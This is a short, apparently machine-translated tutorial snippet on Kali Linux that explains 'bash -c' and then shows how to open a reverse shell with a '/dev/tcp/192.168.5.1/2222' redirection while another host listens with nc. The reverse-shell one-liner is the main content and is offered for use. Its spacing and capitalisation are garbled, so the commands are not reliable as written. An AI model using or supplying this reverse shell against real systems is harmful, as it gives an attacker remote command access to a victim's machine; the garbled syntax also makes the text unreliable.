Bash is a command interpretation language. It can execute commands that read standard input or files, execute commands, and rebound shell with nc!

Basic syntax

Bash-c command

Root @ kali :~ # Bash-c whoami

Root

Root @ kali :~ #

In addition, use-I to run the shell in interactive mode, which is usually run on the target host.

Bash-I> &/dev/tcp/192.168.5.1/2222 0> & 1

Then, the other host uses nc to listen to the port, and a shell can be obtained!

Root @ kali :~ # Bash-I> &/dev/tcp/192.168.5.1/2222 0> & 1
